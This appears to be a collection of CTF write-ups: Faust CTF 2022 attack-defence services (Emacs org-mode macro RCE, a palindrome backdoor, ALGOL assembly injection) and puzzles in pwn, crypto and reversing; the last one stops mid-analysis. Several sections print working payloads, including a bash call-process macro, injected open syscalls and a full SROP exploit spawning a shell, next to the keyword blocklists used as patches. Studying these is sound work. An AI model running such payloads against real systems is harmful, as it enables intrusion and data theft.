# Emacs / OrgThe webserver with its routes is written in emacs,... esoteric is almost an understatement. Given the "export" feature of the webapp, it was early on of interest what kind of features the org lang has. The [file inclusion](https://orgmode.org/manual/Include-Files.html) feature was examined first - just to notice very much later down the road how its being blocked in export.el. Trying to circumvent the removal of the include directive, one stumbled accross the `#+MACRO` feature, so an early idea was to read files via:```#+MARCO lol #+$1: "/etc/passwd" :line 1-{{{lol(INCLUDE)}}}```which didnt work. Didnt quite debug into this, as time was pressing and the network was about to open. While checking the MARCO documentation it was noted how it could eval lisp code.
## The network openedNow, it first of all was paramount to understand how the admin bot uses the application and how the flags are being stored. Basically a lowercase hexdigit username with variable length, creating notes to test and then the flags are stored just as a note which is not being exported, named flag, thus the resulting file is `flag.org` inside a pseudorandom directory within the `/srv/files` dir.
## EpxloitationHaving now some understanding where we want to go, the rest of the chall was basically figuring out how emacs/lisp works and how to get our RCE to work. since eval itself doesnt do any shell expansion and i didnt look into the code too hard to find an LFI to leak the filenames, bash -c with shell expansion does the trick and thus the first (naive) exploit was:
```#+MACRO: lemao (eval (call-process "/bin/bash" nil t nil "-c" "cat /srv/files/*/flag.org")){{{lemao}}}```
For to the author unknown reasons the output was still sorta distorted (beginning and end cutoff or included, like `emao}}}` being still there wereas one would thing the macro takes care of the substitution?), so some coding to fixup the mess was needed.
## PatchAs mentioned, the service already included a mitigation to not export scripts which include certain keywords. This allowed us to simply re-use that same code in the *export.el* and add more keywords to the blocklist and thus foil other teams attempts. The original mitigation was:``` (while (search-forward "#+include:" nil t) (delete-region (point-at-bol) (point-at-eol)))```Our patch just used that same code and blocked more words, such as `eval`, `call-process`, `insert-buffer`,... mainly just checking the traffic once exploited and manually adding another word to the list.
Lateron, some changes to the initial payload has been made to foil simple attempts, i.e change hardcoded strings, make more use of shell expansion or make use of different functoins than eval and call-process. Overall quite a rookie mistake to dump out the exploit in its initial form, but oh well, live and learn :) |
# A Cube and a Palindrome
For this challenge, we were given a file with nbin extension.Quick search for nbin on google showed that it was a plugin for Nessus.
I initially thought I had to import the plugin through the Nessus GUI.However, this is not the case, and the nbin file can be ran through the console.When you install Nessus, you are given a binary /opt/nessus/bin/nasl.This binary can be used to run the nbin binary file.
`/opt/nessus/bin/nasl -VV timestamp.nbin`
When running the binary, you will be asked to input a time in epoch.I tried entering the current epoch time, which returned "To soon!"From there, I manually did a binary search to find the right time.
The correct time seems to change over time, but after several random guess, I was luckily able to get the flag.
The solution seems to be guessy, but I checked the official write-ups for the challenge and it was doing the same thing (except it was using a script instead). |
# Faust CTF 2022 - Digital Seconds Ago
## Description
The challenge consists of a single ELF binary called `digital-seconds-ago`, which runs as a systemd service.
## Analysis of the binary
After analyzing the binary, you can see that it uses a database, which is created via the following SQL command:
```sqlCREATE TABLE IF NOT EXISTS users(uid INTEGER PRIMARY KEY, name TEXT, pubkey TEXT, profile TEXT);```
After the database is created, the service provides the following actions:
- Register: give a username, a public key and a profile, which will be stored in the database.- Login: give a username, then get a challenge (a few random bytes); if you can sign the challenge with your private key (that corresponds to the public key given at registration), then the login is successful, and you can read the profile.- Users: print the list of users in the database- Pubkey: prints the public key of the given user- Help: prints the help- Exit: exits the program
## Where are the flags?
The flags are in the `profile` field of the database. In each round, the organizers register a new user with the `profile` being the flag.
## Getting the flags
If you successfully login, then the profile of that user is printed; but in order to log in, you need to find a vulnerability in the cryptographic system that checks the signature. This was the harder way to solve a challenge, but there was a shortcut hidden in the binary.
The `main(0x22d0)` function reads a line, checks if it matches one of the actions mentioned before, and if it does, it calls the handler function for that action. However, there is an extra check, which is in a function called by `main`, let's call it `check_backdoor(0x3810)`. Here is the decompiled version of the function:
```cundefined8 check_backdoor(char *command)
{ long lVar1; size_t command_len; undefined8 uVar2; undefined8 uVar3; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); command_len = strlen(command); uVar3 = 0; uVar2 = 0; if ((((((command_len == 0xc) && (*command != command[1])) && (command[2] != command[5])) && ((uVar3 = uVar2, command[3] != command[4] && (*command == command[0xb])))) && ((command[1] == command[10] && ((command[2] == command[9] && (command[3] == command[8])))))) && (command[4] == command[7])) { if (command[5] == command[6]) { puts("... ok, but only 2 past seconds"); uVar3 = 1; } else { uVar3 = 0; } } if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar3; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}```
We can see that this function returns `1` if the following conditions are met:
- The `command` is 12 characters long- The `command` is a palindrome word- There are no identical characters in the first six letters of `command`
It is really easy to come up with a solution, for example: `"abcdeffedcba"`.
Looking back at the `main` function, we see that if we pass the check, it will call another function:
```c iVar1 = check_backdoor(input); if (iVar1 != 0) { do_backdoor(); goto LAB_001023b0; }```
The `do_backdoor(0x38c0)` function runs the following SQL query:
```sql"SELECT name, profile FROM users ORDER BY uid DESC LIMIT 2"```
It selects the last two entries in the database (ordered by `uid`), and prints their name and profile. Since the profile contains the flag, we can just read it.
## Summary
The solution is really simple: you just have to send `"abcdeffedcba"`, and then you get two flags.
## Patching the backdoor
Here is the relevant part of the assembly code of the `main` function:
``` 0x000023ff 4889ef mov rdi, rbp 0x00002402 e809140000 call check_backdoor 0x00002407 85c0 test eax, eax ââ< 0x00002409 7545 jne 0x2450 ; here we jump to the backdoor, if the check succeeded â 0x0000240b 83c301 add ebx, 1 â 0x0000240e 4983c710 add r15, 0x10 â 0x00002412 83fb06 cmp ebx, 6 â 0x00002415 75d4 jne 0x23eb â 0x00002417 488d3d511f00. lea rdi, str.unknown_command â 0x0000241e e85dfcffff call sym.imp.puts â 0x00002423 eb8b jmp 0x23b0 â 0x00002425 0f1f00 nop dword [rax] â 0x00002428 488d3d2c1f00. lea rdi, str.fail_to_get_command â 0x0000242f e84c030000 call 0x2780 â 0x00002434 eba8 jmp 0x23de â 0x00002436 662e0f1f8400. nop word cs:[rax + rax] â 0x00002440 4863db movsxd rbx, ebx â 0x00002443 48c1e304 shl rbx, 4 â 0x00002447 ff541c08 call qword [rsp + rbx + 8] â 0x0000244b e960ffffff jmp 0x23b0 ââ> 0x00002450 31c0 xor eax, eax 0x00002452 e869140000 call do_backdoor 0x00002457 e954ffffff jmp 0x23b0````
There are many ways to fix it, e.g. replace the call to `check_backdoor` with `xor eax, eax` (and some `nop`-s), or you can modify the `check_backdoor` and `do_backdoor` functions, too. I chose to replace the conditinonal jump with two `nop`-s so that we never jump to `call do_backdoor`. Here is the modified code:
``` 0x000023ff 4889ef mov rdi, rbp 0x00002402 e809140000 call check_backdoor 0x00002407 85c0 test eax, eax 0x00002409 90 nop ; conditional jump replaced with nops, hence we never jump to `call do_backdoor` 0x0000240a 90 nop 0x0000240b 83c301 add ebx, 1 0x0000240e 4983c710 add r15, 0x10 0x00002412 83fb06 cmp ebx, 6 0x00002415 75d4 jne 0x23eb 0x00002417 488d3d511f00. lea rdi, str.unknown_command 0x0000241e e85dfcffff call sym.imp.puts 0x00002423 eb8b jmp 0x23b0 0x00002425 0f1f00 nop dword [rax] 0x00002428 488d3d2c1f00. lea rdi, str.fail_to_get_command 0x0000242f e84c030000 call 0x2780 0x00002434 eba8 jmp 0x23de 0x00002436 662e0f1f8400. nop word cs:[rax + rax] 0x00002440 4863db movsxd rbx, ebx 0x00002443 48c1e304 shl rbx, 4 0x00002447 ff541c08 call qword [rsp + rbx + 8] 0x0000244b e960ffffff jmp 0x23b0 0x00002450 31c0 xor eax, eax 0x00002452 e869140000 call do_backdoor 0x00002457 e954ffffff jmp 0x23b0``` |
flag â encrypted some_simple_text
crib: accessdenied{
cribdrag.py
some_simple_text: this_is_not_the_real_flag,so_try_to_find_it
flag: accessdenied{n3v3r_r3u53_th3_k3y5_db5e5bac} |
We have an elliptic curve over a non-prime field. The goal is to find the y coordinate of a point given the x coordinate.
$$y^2 \equiv x^3 + ax + b\ (mod\ n)$$
First factor n:
```sage: n = 117224988229627436482659673624324558461989737163733991529810987781450160688540001366778824245275287757373389887319739241684244545745583212512813949172078079042775825145312900017512660931667853567060810331541927568102860039898116182248597291899498790518105909390331098630690977858767670061026931938152924839936
sage: ecm.factor(n)
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 690712633549859897233, 690712633549859897233, 690712633549859897233, 690712633549859897233, 690712633549859897233, 690712633549859897233, 651132262883189171676209466993073, 651132262883189171676209466993073, 651132262883189171676209466993073, 651132262883189171676209466993073, 651132262883189171676209466993073]```
n = 2^63 * 690712633549859897233^6 * 651132262883189171676209466993073^5
Now I modified sympy's function to find sqrt mod n.
```pythonfrom sympy.ntheory.residue_ntheory import _sqrt_mod_prime_power, _product from sympy.polys.galoistools import gf_crt1, gf_crt2 from sympy.polys.domains import ZZ from Crypto.Util.number import long_to_bytes def sqrt_mod_n(a, factors_of_n): Â Â Â v = [] Â Â Â pv = [] Â Â Â for px, ex in factors_of_n.items(): Â Â Â Â Â Â Â if a % px == 0: Â Â Â Â Â Â Â Â Â Â Â rx = _sqrt_mod1(a, px, ex) Â Â Â Â Â Â Â else: Â Â Â Â Â Â Â Â Â Â Â rx = _sqrt_mod_prime_power(a, px, ex) Â Â Â Â Â Â Â v.append(rx) Â Â Â Â Â Â Â pv.append(px**ex) Â Â Â mm, e, s = gf_crt1(pv, ZZ) Â Â Â sqrts = [] Â Â Â for vx in _product(*v): Â Â Â Â Â Â Â r = gf_crt2(vx, pv, mm, e, s, ZZ) Â Â Â Â Â Â Â sqrts.append(int(r)) Â Â Â return sqrts x = 10715086071862673209484250490600018105614048117055336074437503883703510511249361224931983788156958581275946729175531468251871452856923140435984577574698574803934567774824230985421074605062371141877954182153046477020617917601884853827611232355455223966039590143622792803800879186033924150173912925208583 a = 31337 b = 66826418568487077181425396984743905464189470072466833884636947306507380342362386488703702812673327367379386970252278963682939080502468506452884260534949120967338532068983307061363686987539408216644249718950365322078643067666802845720939111758309026343239779555536517718292754561631504560989926785152983649035 for r in sqrt_mod_n(x**3 + a*x + b, {2:63, 690712633549859897233:6, 651132262883189171676209466993073:5}): Â Â Â flag = long_to_bytes(r) Â Â Â if b"CCTF" in flag: Â Â Â Â Â Â Â print(flag.decode())``` |
# Compiler60
## ObservationsThe service takes ALGOL60v2 code, compiles it and runs it. In the compile step, the code is parsed to an AST and this AST is used to generate x64 assembly. This assembly is then assembled and linked to a binary, which gets signed and returned to the user. In the execution step, the server expects a signed binary. If the signature is valid, the binary is executed in a sandboxed environment.
When converting the AST to assembly instructions, string literals are not escaped correctly. The ALGOL60v2 code```s := "\\".textmov rax, 1337#\\"";```will result in the assembly code```.asciz "\\".textmov rax, 1337/*\\""```
As demonstrated, it is possible to escape a string literal context and inject (almost) arbitrary assembly code. This can be used to control the behaviour of the resulting binary.
## ExploitationIn order to get a flag, we need to read a file from a given file path. The path is `/data/<id>`, where `<id>` comes from `teams.json`. The existing functions for opening files do not allow this, so we will redefine one of them:
```s := "\\".textopenRO: mov eax, 0x2 mov esi, 0x0 mov edx, 0x1a4 syscall ret#\\"";```
The new `openRO` function will call the `open` syscall with a file path and the `O_RDONLY` flag and the `rw-r--r--` mode. We can then call this method and read the flag from the resulting file descriptor. The final payload is the following:
```'BEGIN' outstring(readstring(openRO("/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\".textopenRO: mov eax, 0x2 mov esi, 0x0 mov edx, 0x1a4 syscall ret#\\"")));'END'```
During the CTF we used a more verbose version:
```'BEGIN' 'STRING' s[1000]; 'INTEGER' fd; 'STRING' buf[128]; s := "/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\".textopenRO: mov eax, 0x2 mov esi, 0x0 mov edx, 0x1a4 syscall ret/*\\""; fd := openRO(s); buf := readstring(fd); outstring(buf);'END'```
## PatchThe best patch would have been to correct the AST parsing, but it is a CTF challenge and we were lazy, so we just blocked `\\"`. Since that broke one of the examples, we allowed `\\\"`. This was the patch:
```diffdiff --git a/main/java/de/faust/compiler60/CompilerServer.java b/main/java/de/faust/compiler60/CompilerServer.javaindex ab7f9a0..06fe1cb 100644--- a/main/java/de/faust/compiler60/CompilerServer.java+++ b/main/java/de/faust/compiler60/CompilerServer.java@@ -46,6 +46,13 @@ public class CompilerServer { .decode(ByteBuffer.wrap(reqBody)) .toString(); + if (sourceCode.contains("\\\\\"") && !sourceCode.contains("\\\\\\\"")) {+ System.out.println("Blocked exploit attempt ---------");+ System.out.println(sourceCode);+ System.out.println("---------------------------------");+ sourceCode = "";+ }+ byte[] binary = new Algol60Compiler(sourceCode).compile(); SignedElf signedElf = new SignedElf(binary);``` |
# twist
## Description
Did you play twist at ICC? We did.
0.cloud.chals.io:13658
Author: [v10l3nt](https://www.tjoconnor.org/vita)
## Files
* [twist](https://github.com/tj-oconnor/cyber-open-2022/tree/main/pwn/twist/files/twist)
## Solution
Running the binary produces the following output
```-------------------------------------------------------------------------------------------- Welcome to Twist v2.0. Some file contents may have shifted on upload. -------------------------------------------------------------------------------------------- Debug Mode Enabled; calling 0x401385-------------------------------------------------------------------------------------------- (nil) | 0x401490 | (nil) | (nil) | (nil) | 0x2d-------------------------------------------------------------------------------------------- You can dance in a hurricane but only if you are standing in the eye >>> ```
The critical thing to observe here is that the binary is most likely different on the local and remote hosts.
**Some file contents may have shifted on upload.**
The binary contains a series of functions containing ROP gadgets for ``[pop rax; ret], [pop rbx; ret], [pop rcx; ret], [pop rdx; ret], [syscall; ret], [pop rdi; ret], [pop rsi; ret],`` When dissassembled each of these functions looks similar
```[local version of twist]00401373 55 push rbp {var_8}00401374 4889e5 mov rbp, rsp00401377 5f pop rdi {var_8}00401378 c3 retn 0040137a 5d pop rbp {__return_addr}0040137b c3 retn ```
Why are there two returns? Probably because the challenge author (myself) wrote it something like this in C. We can probably take advantage of that later.
```void pop_rdi() { asm("pop %rdi; ret;");}```
We see that we have both ``pop rax; ret`` and ``syscall; ret`` setting conditions for an SROP exploit. So we quickly write a [local exploit for twist](https://github.com/tj-oconnor/cyber-open-2022/blob/main/pwn/twist/pwn-twist-local.py). The basis of that exploit is just building a malicious SigreturnFrame like below.
```pythondef srop_exec(): chain = p64(pop_rax) chain += p64(0xf) chain += p64(syscall_ret)
frame = SigreturnFrame(arch="amd64", kernel="amd64") frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rip = syscall_ret
return chain+bytes(frame)```
However, throwing this exploit at the server fails, and we are reminded
**Some file contents may have shifted on upload.**
So we can examine where the local and remote binaries are probably different. Our first hint comes by examining some information the program leaks. We notice that both the remote and local versions of the binary produce the following static address leak: ``Debug Mode Enabled; calling 0x401385``. Since this function comes after the address space of all the gadgets, we can assume the challenge author (myself) scrambled the order of the gadgets. From ``pop rax; ret`` at ``0x00401349`` to ``debug_mode`` at ``0x401385`` is only 0x3c (60) bytes. A less elegant solution could try 60 x 60 = 3,600 different attempts for the ``pop rax; ret`` and ``syscall; ret`` and see which one lands our SROP exploit. However, since we included a ``debug_mode()`` that prints the output of the registers, we write a small script to use ``debug_mode()``.
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary,checksec=False)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 13658, level="error") else: return process(e.path, level="error")
def debug_mode(gadget): p = start() pad = cyclic(16)
chain = p64(0x401016) # ret chain += p64(gadget) # gadget chain += p64(0x1337) # value chain += p64(0x401446) # call debug_mode
p.recvuntil(b'Debug Mode Enabled') p.recvline() p.recvline() p.recvline() p.recvline()
p.sendline(pad+chain) p.recvline() info("%s" %p.recvline().decode())
pop_rax = e.sym['pop_rax']+0x4debug_mode(pop_rax)```
Testing locally produces the following output when we call the ``pop_rax; ret`` gadget and place ``0x1337`` on the stack. This appropriately results in ``rax`` being set to ``0x1337``.
```$ python3 test.py BIN=./twist[*] 0x1337 | 0x401490 | 0x7fd0168a59a0 | (nil) | 0x7fd0168a8680 | 0x1bdd6b1```
Running the same script remotely produces different output, where now the ``rbx`` register is set to ``0x1337``
```$ python3 test.py BIN=./twist REMOTE[*] (nil) | 0x1337 | 0x7fd0674f89a0 | (nil) | 0x7fd0674fb680 | 0x7fd0674f8a23```
Ok, we confirmed our hypothesis that the gadgets just got scrambled. Now we need to find where ``pop rax; ret`` resides in the remote binary by testing the address space from the local binary addreses of the functions ``pop_rax()`` to ``debug_mode()``. So we write a script that tests these addresses and identifies the following addresses that also do not segfault. At this point, we have the addresses for gadgets for ``pop r(ax|bx|cx|dx|di|si); ret``. But we do not have the ``syscall ret``. Arguably at this point, we could try our exploit with the 59 potential addresses for ``syscall; ret`` and walk away. But let us continue.
```[remote version of twist][*] Starting pop rax gadget search between 0x401349 to 0x401385[*] Gadget [0x401349]: pop rbx; ret[*] Gadget [0x40134b]: [b' (nil) ', b' 0x401490 ', b' 0x7fb56d8f49a0 ', b' (nil) ', b' 0x7fb56d8f7680 ', b' 0x7fb56d8f4a23\n'][*] Gadget [0x40134c]: [b' (nil) ', b' 0x401490 ', b' 0x7f8f6e4b09a0 ', b' (nil) ', b' 0x7f8f6e4b3680 ', b' 0x7f8f6e4b0a23\n'][*] Gadget [0x401355]: [b' (nil) ', b' 0x401490 ', b' 0x7f3ed7c289a0 ', b' (nil) ', b' 0x7f3ed7c2b680 ', b' 0x7f3ed7c28a23\n'][*] Gadget [0x401356]: [b' (nil) ', b' 0x401490 ', b' 0x7f8e9323d9a0 ', b' (nil) ', b' 0x7f8e93240680 ', b' 0x7f8e9323da23\n'][*] Gadget [0x401359]: pop rdi; ret[*] Gadget [0x40135a]: pop rdi; ret[*] Gadget [0x40135c]: pop rdi; ret[*] Gadget [0x40135e]: [b' (nil) ', b' 0x401490 ', b' 0x7f27029fb9a0 ', b' (nil) ', b' 0x7f27029fe680 ', b' 0x7f27029fba23\n'][*] Gadget [0x40135f]: [b' (nil) ', b' 0x401490 ', b' 0x7fcd8bd309a0 ', b' (nil) ', b' 0x7fcd8bd33680 ', b' 0x7fcd8bd30a23\n'][*] Gadget [0x401362]: pop rcx; ret[*] Gadget [0x401363]: pop rcx; ret[*] Gadget [0x401365]: pop rcx; ret[*] Gadget [0x401367]: [b' (nil) ', b' 0x401490 ', b' 0x7fa06dd739a0 ', b' (nil) ', b' 0x7fa06dd76680 ', b' 0x7fa06dd73a23\n'][*] Gadget [0x401368]: [b' (nil) ', b' 0x401490 ', b' 0x7f04456d49a0 ', b' (nil) ', b' 0x7f04456d7680 ', b' 0x7f04456d4a23\n'][*] Gadget [0x40136b]: pop rax; ret[*] Gadget [0x40136c]: pop rax; ret[*] Gadget [0x40136e]: pop rax; ret[*] Gadget [0x401370]: [b' (nil) ', b' 0x401490 ', b' 0x7fbab0fa79a0 ', b' (nil) ', b' 0x7fbab0faa680 ', b' 0x7fbab0fa7a23\n'][*] Gadget [0x401371]: [b' (nil) ', b' 0x401490 ', b' 0x7fecec5949a0 ', b' (nil) ', b' 0x7fecec597680 ', b' 0x7fecec594a23\n'][*] Gadget [0x401374]: pop rdx; ret[*] Gadget [0x401375]: pop rdx; ret[*] Gadget [0x401377]: pop rdx; ret[*] Gadget [0x401379]: [b' (nil) ', b' 0x401490 ', b' 0x7f25f7d9b9a0 ', b' (nil) ', b' 0x7f25f7d9e680 ', b' 0x7f25f7d9ba23\n'][*] Gadget [0x40137a]: [b' (nil) ', b' 0x401490 ', b' 0x7f1b7e64b9a0 ', b' (nil) ', b' 0x7f1b7e64e680 ', b' 0x7f1b7e64ba23\n'][*] Gadget [0x40137d]: pop rsi; ret[*] Gadget [0x40137e]: pop rsi; ret[*] Gadget [0x401380]: pop rsi; ret[*] Gadget [0x401382]: [b' (nil) ', b' 0x401490 ', b' 0x7fa92bdd49a0 ', b' (nil) ', b' 0x7fa92bdd7680 ', b' 0x7fa92bdd4a23\n'][*] Gadget [0x401383]: [b' (nil) ', b' 0x401490 ', b' 0x7f9ed17639a0 ', b' (nil) ', b' 0x7f9ed1766680 ', b' 0x7f9ed1763a23\n']--------------------------------------------------------------------------------------------```
It appears as if three addresses successfully populate each register. Remembering the earlier disassembly of our local binary, we see the following gadgets that can come out of each function. We see thre gadgets that will ``pop rdi; ret``; followed by two ``pop rbp; ret`` gadgets.
```[local version of twist]00401373 55 push rbp {var_8}00401374 4889e5 mov rbp, rsp [*]--------->[*] Gadget [0x401374]: mov rbp; rsp; pop rdi; ret;---------------------------------------------------------->[*] Gadget [0x401375]: mov ebp, esp; pop rdi; ret;00401377 5f pop rdi {var_8}---------->[*] Gadget [0x401377]: pop rdi; ret;00401378 c3 retn------------------------->[*] Gadget [0x40137a]: ret; pop rbp; ret; 0040137a 5d pop rbp {__return_addr})->[*] Gadget [0x40137b]: pop rbp; ret;0040137b c3 retn ```
But what about this output? Why does ``pop rbx; ret`` have four successive ``pop rbp; ret`` gadgets instead of two successive like the others? It is probably because the ``pop rbp; ret`` gadgets are from the ``syscall_ret()`` function. We can test this on the local binary to confirm, and see syscall_ret gadget.
```[local version of twist][*] Gadget [0x401364]: pop rdx; ret[*] Gadget [0x401366]: [b' (nil) ', b' 0x401490 ', b' 0x7f7cf16f69a0 ', b' (nil) ', b' 0x7f7cf16f9680 ', b' 0xd916b1\n'][*] Gadget [0x401367]: [b' (nil) ', b' 0x401490 ', b' 0x7f43d89d89a0 ', b' (nil) ', b' 0x7f43d89db680 ', b' 0xbe66b1\n']-------> address of syscall; ret gadget == 0x40136d[*] Gadget [0x401370]: [b' (nil) ', b' 0x401490 ', b' 0x7f74f2e459a0 ', b' (nil) ', b' 0x7f74f2e48680 ', b' 0x12626b1\n'][*] Gadget [0x401371]: [b' (nil) ', b' 0x401490 ', b' 0x7f5ebd1c49a0 ', b' (nil) ', b' 0x7f5ebd1c7680 ', b' 0xe296b1\n'][*] Gadget [0x401374]: pop rdi; ret```
Finally, we can go ahead and automate our solution, we will loop the 60 bytes of address space betwen the local binary addresses of ``pop_rax()`` to the static ``debug_mode()`` address and try to resolve our ``pop_rax; ret`` and ``syscall; ret`` gadgets; then throw our original SROP exploit. Note, we made the assumption ``/bin/sh\0`` did not move. If that did not work, next step would have been to go back and make a new ``/bin/sh\0`` with all of our newly discovered gadgets, by reading ``/bin/sh\0`` into writeable memory with a ``syscall_READ`` (using all our discovered gadgets.) Our script produces the following output and flag.
```$ python3 pwn-twist.py BIN=./twist REMOTE[*] Starting pop rax gadget search between 0x401349 to 0x401385... snipped..[*] [pop rax; ret] discovered at 0x40136e[*] [syscall; ret] discovered at 0x401352[*] [/bin/sh] discovered at 0x40289e-------------------------------------------------------------------------------------------- (nil) | 0x401490 | (nil) | (nil) | 0x7f018c98d670 | 0x7ffce1930910-------------------------------------------------------------------------------------------- You can dance in a hurricane but only if you are standing in the eye >>> $ cat flag.txtuscg{a_dr0p_1n_th3_0c3an_has_0_fe3r_0f_hurr1can3s}```
Our full working exploit follows:
```pythondfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 13658, level="error") else: return process(e.path, level="error")
''' debug mode prints out rax | rbx | rcx | rdx | rdi | rsi '''
def gadget_finder(s): regs = s.split(b'|') if b'0x1337' in regs[0]: return 'pop rax; ret' elif b'0x1337' in regs[1]: return 'pop rbx; ret' elif b'0x1337' in regs[2]: return 'pop rcx; ret' elif b'0x1337' in regs[3]: return 'pop rdx; ret' elif b'0x1337' in regs[4]: return 'pop rdi; ret' elif b'0x1337' in regs[5]: return 'pop rsi; ret' else: return regs
def find_pop_rax():
pop_rax = 0x0 syscall_ret = 0x0 pop_rbp_ret = 0x0
''' loop from first gadget to debug mode ''' for gadget in range(gadgets_start, debug_mode): try: p = start() pad = cyclic(16)
''' chain to display gadgets align stack, call gadget, test val, call debug '''
chain = p64(0x401016) chain += p64(gadget) chain += p64(0x1337) chain += p64(0x401446)
''' parse out program output ''' p.recvuntil(b'Debug Mode Enabled') p.recvline() p.recvline() p.recvline() p.recvline()
''' send gadget test and receive outpt''' p.sendline(pad+chain) p.recvline() gadget_result = gadget_finder(p.recvline()) info("Gadget [%s]: %s" % (hex(gadget), gadget_result)) if 'pop rax; ret' in gadget_result: pop_rax = gadget
if 'pop' in gadget_result: pop_rbp_ret = 0 else: pop_rbp_ret+=1 if (pop_rbp_ret==3): syscall_ret = gadget - 0x3 except:
pass return pop_rax, syscall_ret
def srop_exec(pop_rax, bin_sh, syscall_ret):
chain = p64(pop_rax) chain += p64(0xf) chain += p64(syscall_ret)
frame = SigreturnFrame(arch="amd64", kernel="amd64") frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rip = syscall_ret
p = start() pad = cyclic(16) p.recvuntil(b'Debug Mode Enabled; calling ') p.recvline() p.sendline(pad+chain+bytes(frame)) p.interactive()
gadgets_start = e.sym['pop_rax']+4p = start()p.recvuntil(b'Debug Mode Enabled; calling ')debug_mode = int(p.recvline(), 16)p.close()
info("Starting pop rax gadget search between %s to %s" %(hex(gadgets_start),hex(debug_mode)))pop_rax,syscall_ret = find_pop_rax()
info("[pop rax; ret] discovered at %s" % hex(pop_rax))info("[syscall; ret] discovered at %s" % hex(syscall_ret))bin_sh = next(e.search(b'/bin/sh'))info("[/bin/sh] discovered at %s", hex(bin_sh))srop_exec(pop_rax ,bin_sh, syscall_ret)``` |
# Weather## Analysis
Decompiled C code:
```c__int64 __fastcall main(int a1, char **a2, char **a3, double a4){ int v5; // [rsp+0h] [rbp-40h] BYREF const char *v6; // [rsp+8h] [rbp-38h] const char *v7; // [rsp+10h] [rbp-30h] BYREF int v8; // [rsp+18h] [rbp-28h] const char *v9; // [rsp+20h] [rbp-20h] int v10; // [rsp+30h] [rbp-10h] BYREF const char *v11; // [rsp+38h] [rbp-8h]
puts("Welcome to our global weather database!"); puts("What city are you interested in?"); __isoc99_scanf("%100s", s2); if ( !strcmp("London", s2) ) { v10 = 5; v11 = "W"; v7 = "rain"; v8 = 1337; v9 = "mm"; v5 = 10; v6 = "°C"; } else if ( !strcmp("Moscow", s2) ) { v10 = 7; v11 = "N"; v7 = "snow"; v8 = 250; v9 = "cm"; v5 = -30; v6 = "°C"; } else if ( !strcmp("Miami", s2) ) { v10 = 1; v11 = "NE"; v7 = "sweat"; v8 = 100; v9 = "ml"; v5 = 31337; v6 = "°F"; } else { v10 = 10; v11 = "SW"; v7 = "nothing"; v8 = 0; v9 = (const char *)&unk_30BE; v5 = 15; v6 = "°C"; } puts("Weather for today:"); printf("Precipitation: %P\n", &v7, a4); printf("Wind: %W\n", &v10); printf("Temperature: %T\n", &v5;; printf("Flag: %F\n", a4); return 0LL;}```
Well, the main function seems to have nothing to do with the flag...Nevertheless, several special specifiers, such as `%P`, `%W`, `%T`, and `%F`, are presented in the format string. This implies that the generation of the flag may have something to do with customized specifiers.
After some investigation, I end up in a function located at `0x2328`, which contains several lines of code regarding `register_printf_function`.
```cint register(){ register_printf_function('W', (printf_function *)sub_2190, (printf_arginfo_function *)arginfo); register_printf_function('P', (printf_function *)sub_21E0, (printf_arginfo_function *)arginfo); register_printf_function('T', (printf_function *)sub_225A, (printf_arginfo_function *)arginfo); register_printf_function('F', (printf_function *)sub_22AA, (printf_arginfo_function *)arginfo); register_printf_function('C', (printf_function *)sub_2097, (printf_arginfo_function *)arginfo2); register_printf_function('M', (printf_function *)sub_1185, (printf_arginfo_function *)arginfo2); register_printf_function('S', (printf_function *)sub_12DC, (printf_arginfo_function *)arginfo2); register_printf_function('O', (printf_function *)sub_143B, (printf_arginfo_function *)arginfo2); register_printf_function('X', (printf_function *)sub_159A, (printf_arginfo_function *)arginfo2); register_printf_function('V', (printf_function *)sub_16FA, (printf_arginfo_function *)arginfo2); register_printf_function('N', (printf_function *)sub_185A, (printf_arginfo_function *)arginfo2); register_printf_function('L', (printf_function *)sub_19B8, (printf_arginfo_function *)arginfo2); register_printf_function('R', (printf_function *)sub_1B19, (printf_arginfo_function *)arginfo2); register_printf_function('E', (printf_function *)sub_1C7A, (printf_arginfo_function *)arginfo2); register_printf_function('I', (printf_function *)sub_1DD9, (printf_arginfo_function *)arginfo2); return register_printf_function('U', (printf_function *)sub_1F38, (printf_arginfo_function *)arginfo2);}```
Well, we have already seen `%P`, `%W`, `%T`, and `%F` specifiers. After some brief reconnaissance, the remaining specifiers as well as their corresponding `print_function`s seem to insinuate a *virtual machine* written in format string.
Now, let's analyze the specifiers. We can inspect each `arginfo` structure with gdb. Take `%C` as an example:
```pwndbg> p *(printf_arginfo_function *)0x5555555562f0$1 = {int (const struct printf_info *, size_t, int *)} 0x5555555562f0pwndbg> p *(struct printf_info *)0x5555555562f0$2 = { prec = -443987883, width = -125990584, spec = -260732600 L'\xf0758948', is_long_double = 0, is_short = 0, is_long = 0, alt = 1, space = 0, left = 0, showsign = 1, group = 0, extra = 1, is_char = 0, wide = 0, i18n = 1, is_binary128 = 0, __pad = 4, user = 59477, pad = 184 L'ž'}``````c__int64 __fastcall sub_2097(FILE *stream, struct printf_info *info, const void *const *args){ int prec; // [rsp+24h] [rbp-Ch] _BOOL4 v5; // [rsp+2Ch] [rbp-4h]
